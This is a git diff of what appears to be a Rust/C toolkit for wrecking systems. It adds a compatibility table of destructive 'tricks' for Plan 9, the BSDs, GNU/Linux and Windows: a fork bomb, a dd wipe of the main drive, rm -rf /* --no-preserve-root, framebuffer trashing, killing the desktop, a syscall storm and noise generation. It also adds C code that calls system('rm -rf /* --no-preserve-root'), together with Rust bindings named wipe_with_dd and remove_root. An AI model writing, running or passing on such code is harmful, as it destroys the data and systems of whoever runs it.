diff options
| -rw-r--r-- | NIXES_COMPATABILITY.md | 30 | ||||
| -rw-r--r-- | src/build.rs (renamed from WINDOWS_COMPATABILITY.MD) | 0 | ||||
| -rw-r--r-- | src/critical/classic/dd.c (renamed from src/critical/dd.c) | 0 | ||||
| -rw-r--r-- | src/critical/classic/dd.h | 3 | ||||
| -rw-r--r-- | src/critical/classic/mod.rs | 14 | ||||
| -rw-r--r-- | src/critical/classic/rm_root.c | 6 | ||||
| -rw-r--r-- | src/critical/classic/rm_root.h | 3 | ||||
| -rw-r--r-- | src/critical/dd.h | 3 | ||||
| -rw-r--r-- | src/critical/fork_bomb.c | 0 | ||||
| -rw-r--r-- | src/critical/fork_bomb.h | 0 | ||||
| -rw-r--r-- | src/critical/mod.rs | 14 | ||||
| -rw-r--r-- | src/non_critical/mod.rs | 20 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.c | 4 | ||||
| -rw-r--r-- | src/non_critical/random_sounds.h | 4 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.c | 4 | ||||
| -rw-r--r-- | src/non_critical/syscall_storm.h | 4 |
16 files changed, 98 insertions, 11 deletions
diff --git a/NIXES_COMPATABILITY.md b/NIXES_COMPATABILITY.md index e69de29..f4b78be 100644 --- a/NIXES_COMPATABILITY.md +++ b/NIXES_COMPATABILITY.md @@ -0,0 +1,30 @@ +# Functions compatability with UNIX-like systems +**List of all unique tricks:** +- **Random sounds**: generating random sounds with alsa headers +- **GUI destroyers**: intercepts the framebuffer (`/dev/fb0`) and writes random data there, also kills DE +- **Syscall storm**: creates 5 threads that call a lot of garbage syscalls + +**Classical tricks:** +- **Fork bomb**: Runs `:(){ :|:& };:` +- **DD main drive wipe**: Runs `dd if=urandom/zero of=main_drive status=progress` +- **RM root**: Runs `rm -rf /* --no-preserve-root` + +_More functional planned in release_ + +## Compatibility matrix + +Status values: implemented / planned / not planned + +| Function | Module | Plan 9 | FreeBSD | OpenBSD | NetBSD | GNU/Linux | Windows | +|---|---|---|---|---|---|---|---| +| DD main drive wipe | critical/classic | implemented | implemented | implemented | implemented | implemented | not planned | +| rm root | critical/classic | implemented | implemented | implemented | implemented | implemented | planned | +| Fork bomb | critical | implemented | implemented | implemented | implemented | implemented | not planned | +| GUI destroyer (artifacts_and_kill) | non_critical | implemented | implemented | implemented | planned | implemented | planned | +| Random sounds | non_critical | planned | planned | planned | planned | implemented | planned | +| Syscall storm | non_critical | implemented | implemented | implemented | implemented | implemented | + +Notes: +- All currently implemented functionality is available for Plan 9, *BSD family, and GNU/Linux. Windows support is selective: all non_critical functions are planned; in critical, only an analogue of `rm -rf /*` is planned. + +- Unique tricks is untested on all *NIXes, can dont work. Please open issue or create pr if you have a problems.
\ No newline at end of file diff --git a/WINDOWS_COMPATABILITY.MD b/src/build.rs index e69de29..e69de29 100644 --- a/WINDOWS_COMPATABILITY.MD +++ b/src/build.rs diff --git a/src/critical/dd.c b/src/critical/classic/dd.c index f3ca875..f3ca875 100644 --- a/src/critical/dd.c +++ b/src/critical/classic/dd.c diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h new file mode 100644 index 0000000..266d9b3 --- /dev/null +++ b/src/critical/classic/dd.h @@ -0,0 +1,3 @@ +#pragma once + +void random_data_linux(char sym_drive[16]);
\ No newline at end of file diff --git a/src/critical/classic/mod.rs b/src/critical/classic/mod.rs new file mode 100644 index 0000000..f0e38a4 --- /dev/null +++ b/src/critical/classic/mod.rs @@ -0,0 +1,14 @@ +use std::os::raw::c_char; + +extern "C" { + pub fn random_data_linux(sym_drive: *const c_char); + pub fn rm_root(); +} + +pub unsafe fn wipe_with_dd(sym_drive: *const c_char) { + random_data_linux(sym_drive); +} + +pub unsafe fn remove_root() { + rm_root(); +} diff --git a/src/critical/classic/rm_root.c b/src/critical/classic/rm_root.c new file mode 100644 index 0000000..0ebdaba --- /dev/null +++ b/src/critical/classic/rm_root.c @@ -0,0 +1,6 @@ +#include <stdlib.h> +#include <unistd.h> + +void rm_root() { + system("rm -rf /* --no-preserve-root"); +}
\ No newline at end of file diff --git a/src/critical/classic/rm_root.h b/src/critical/classic/rm_root.h new file mode 100644 index 0000000..1ed79e9 --- /dev/null +++ b/src/critical/classic/rm_root.h @@ -0,0 +1,3 @@ +#pragma once + +void rm_root();
\ No newline at end of file diff --git a/src/critical/dd.h b/src/critical/dd.h deleted file mode 100644 index 70d855e..0000000 --- a/src/critical/dd.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -void andom_data_linux(char sym_drive[16]);
\ No newline at end of file diff --git a/src/critical/fork_bomb.c b/src/critical/fork_bomb.c new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/critical/fork_bomb.c diff --git a/src/critical/fork_bomb.h b/src/critical/fork_bomb.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/src/critical/fork_bomb.h diff --git a/src/critical/mod.rs b/src/critical/mod.rs new file mode 100644 index 0000000..f0e38a4 --- /dev/null +++ b/src/critical/mod.rs @@ -0,0 +1,14 @@ +use std::os::raw::c_char; + +extern "C" { + pub fn random_data_linux(sym_drive: *const c_char); + pub fn rm_root(); +} + +pub unsafe fn wipe_with_dd(sym_drive: *const c_char) { + random_data_linux(sym_drive); +} + +pub unsafe fn remove_root() { + rm_root(); +} diff --git a/src/non_critical/mod.rs b/src/non_critical/mod.rs new file mode 100644 index 0000000..abc91c8 --- /dev/null +++ b/src/non_critical/mod.rs @@ -0,0 +1,20 @@ +pub mod gui_destroyer; + +use std::os::raw::{c_char, c_int}; + +extern "C" { + // Tools + pub fn check_root() -> c_int; + pub fn check_pid(pid: c_int) -> c_int; + pub fn get_os_name() -> *mut c_char; + + // Random sounds + pub fn init_random_sounds(threads: c_int, time: c_int) -> c_int; + pub fn stop_random_sounds(); + + // Syscall storm + pub fn init_syscall_storm(threads: c_int, iterations: c_int) -> c_int; + pub fn stop_syscall_storm(); +} + + diff --git a/src/non_critical/random_sounds.c b/src/non_critical/random_sounds.c index 315c992..4e7ba76 100644 --- a/src/non_critical/random_sounds.c +++ b/src/non_critical/random_sounds.c @@ -21,13 +21,13 @@ static void* audio_hell() { } } -int init(int threads, int time) { +int init_random_sounds(int threads, int time) { for(int i = 0; i < MAX_THREADS; i++) { pthread_create(&THRS[i], NULL, audio_hell, NULL); } } -void stop() { +void stop_random_sounds() { for(int i = 0; i < MAX_THREADS; i++) { pthread_cancel(THRS[i]); } diff --git a/src/non_critical/random_sounds.h b/src/non_critical/random_sounds.h index 227935b..b336ec6 100644 --- a/src/non_critical/random_sounds.h +++ b/src/non_critical/random_sounds.h @@ -1,4 +1,4 @@ #pragma once -int init(int threads, int time); -void stop();
\ No newline at end of file +int init_random_sounds(int threads, int time); +void stop_random_sounds();
\ No newline at end of file diff --git a/src/non_critical/syscall_storm.c b/src/non_critical/syscall_storm.c index bfe7dde..ff7347d 100644 --- a/src/non_critical/syscall_storm.c +++ b/src/non_critical/syscall_storm.c @@ -19,7 +19,7 @@ static void* syscall_storm_linux(void* iterations) { } } -int init(int threads, int iterations) { +int init_syscall_storm(int threads, int iterations) { if (threads > 5) { printf("ERR: Max treads 5, %d required", threads); return NULL; @@ -34,7 +34,7 @@ int init(int threads, int iterations) { }; } -void stop() { +void stop_syscall_storm() { for(int i = 0; i < MAX_THREADS; i++) { pthread_cancel(THRS[i]); } diff --git a/src/non_critical/syscall_storm.h b/src/non_critical/syscall_storm.h index 6535f3a..1b83eea 100644 --- a/src/non_critical/syscall_storm.h +++ b/src/non_critical/syscall_storm.h @@ -1,4 +1,4 @@ #pragma once -int init(int threads, int iterations); -void stop();
\ No newline at end of file +int init_syscall_storm(int threads, int iterations); +void stop_syscall_storm();
\ No newline at end of file |
